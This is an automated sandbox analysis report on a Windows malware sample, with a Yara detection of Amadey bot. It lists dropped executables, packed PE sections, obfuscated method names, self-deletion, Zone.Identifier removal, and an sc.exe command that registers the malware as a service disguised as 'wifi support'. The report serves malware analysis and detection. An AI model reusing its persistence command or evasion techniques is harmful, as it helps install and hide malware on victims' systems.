Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_00573634 push es; iretd	14_2_00573640
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_007B946C push esi; ret	14_2_007B94E7
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_007B94D1 push esi; ret	14_2_007B94E7
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00401880 push esi; iretd	15_2_00401893
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402E94 push es; iretd	15_2_00402EA0
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402E94 push es; iretd	15_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_00412CA4 push eax; ret	16_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004B127E push edi; iretd	16_2_004B12AA
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004B123C push edi; iretd	16_2_004B12AA
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004B735E push esp; iretd	16_2_004B735F
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004B53C8 pushfd ; retf	16_2_004B53D3
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004139B0 push eax; ret	23_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00583C00 push eax; ret	23_2_00583C2E
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_0043DFD4 push es; retn 0042h	24_2_0043DFD5
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_00D78508 push 00000028h; retf 0000h	25_2_00D7850D
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_00D7764A push esp; ret	25_2_00D7764B
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_019C4003 push esi; retf	25_2_019C400F
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032FCF38 pushad ; retf	25_2_032FCF39
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032FCF78 pushfd ; retf	25_2_032FCF79
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032FD4EA push esp; iretd	25_2_032FD4F1
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_05772504 push E80A995Eh; ret	25_2_05772509
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00658508 push 00000028h; retf 0000h	37_2_0065850D
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_0065764A push esp; ret	37_2_0065764B
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00F70179 push edi; retf	37_2_00F7017A
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00F704AF push ecx; retf	37_2_00F704C6
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00F70440 push ecx; retf	37_2_00F7044E
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00F73C58 push esp; iretd	37_2_00F73C91
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CEEC39 push eax; retf	37_2_05CEEC53

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 0_2_0042D810 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042D810

Source: 27D7.exe.10.dr

Static PE information: 0xAB35ADD6 [Sat Jan 8 14:57:26 2061 UTC]

Source: eIxMVDoQF3.exe	Static PE information: section name: .semunil
Source: eIxMVDoQF3.exe	Static PE information: section name: .wanexic
Source: eIxMVDoQF3.exe	Static PE information: section name: .sutolac
Source: F6C0.exe.10.dr	Static PE information: section name: .gizi
Source: F6C0.exe.10.dr	Static PE information: section name: .bur
Source: F6C0.exe.10.dr	Static PE information: section name: .wob
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name: .28gybOo
Source: 6CF.exe.10.dr	Static PE information: section name: .adata
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name: .28gybOo
Source: 1547.exe.10.dr	Static PE information: section name: .adata
Source: 27D7.exe.10.dr	Static PE information: section name: .didata
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name: .Pl7qR7h
Source: 3A08.exe.10.dr	Static PE information: section name: .adata
Source: B50.exe.10.dr	Static PE information: section name: .dubom
Source: B50.exe.10.dr	Static PE information: section name: .xak
Source: B50.exe.10.dr	Static PE information: section name: .zawaxig
Source: 743F.exe.10.dr	Static PE information: section name: .lemel
Source: 743F.exe.10.dr	Static PE information: section name: .lobil
Source: 743F.exe.10.dr	Static PE information: section name: .cixu
Source: rwjfsvd.10.dr	Static PE information: section name: .semunil
Source: rwjfsvd.10.dr	Static PE information: section name: .wanexic
Source: rwjfsvd.10.dr	Static PE information: section name: .sutolac
Source: tvdcssmj.exe.24.dr	Static PE information: section name: .lemel
Source: tvdcssmj.exe.24.dr	Static PE information: section name: .lobil
Source: tvdcssmj.exe.24.dr	Static PE information: section name: .cixu

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: 7D0A.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 6CF.exe.10.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654
Source: 3A08.exe.10.dr	Static PE information: real checksum: 0x3834f6 should be: 0x36dbab
Source: 1547.exe.10.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654

Source: initial sample	Static PE information: section name: .text entropy: 6.96128560054
Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: entropy: 7.99344683632
Source: initial sample	Static PE information: section name: entropy: 7.99371358219
Source: initial sample	Static PE information: section name: entropy: 7.79109482623
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.9972805435
Source: initial sample	Static PE information: section name: .Pl7qR7h entropy: 7.92006986154
Source: initial sample	Static PE information: section name: .text entropy: 6.97903436924
Source: initial sample	Static PE information: section name: .text entropy: 6.95592725044
Source: initial sample	Static PE information: section name: .text entropy: 6.96128560054
Source: initial sample	Static PE information: section name: .text entropy: 6.95592725044

Source: 7D0A.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 7D0A.exe.10.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.2.7D0A.exe.d70000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.2.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.7D0A.exe.d70000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.7D0A.exe.d70000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.7D0A.exe.d70000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.7D0A.exe.d70000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.7D0A.exe.d70000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.7D0A.exe.d70000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.7D0A.exe.d70000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.7.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.7D0A.exe.650000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.7D0A.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.7D0A.exe.650000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.7D0A.exe.650000.11.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.7D0A.exe.650000.9.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.7D0A.exe.650000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rwjfsvd

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E5C8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1547.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F6C0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3A08.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\743F.exe	File created: C:\Users\user\AppData\Local\Temp\tvdcssmj.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7D0A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rwjfsvd	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1FD7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B50.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\27D7.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F805.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\743F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6CF.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\743F.exe

24_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\eixmvdoqf3.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rwjfsvd:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

23_2_0040C2E0

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
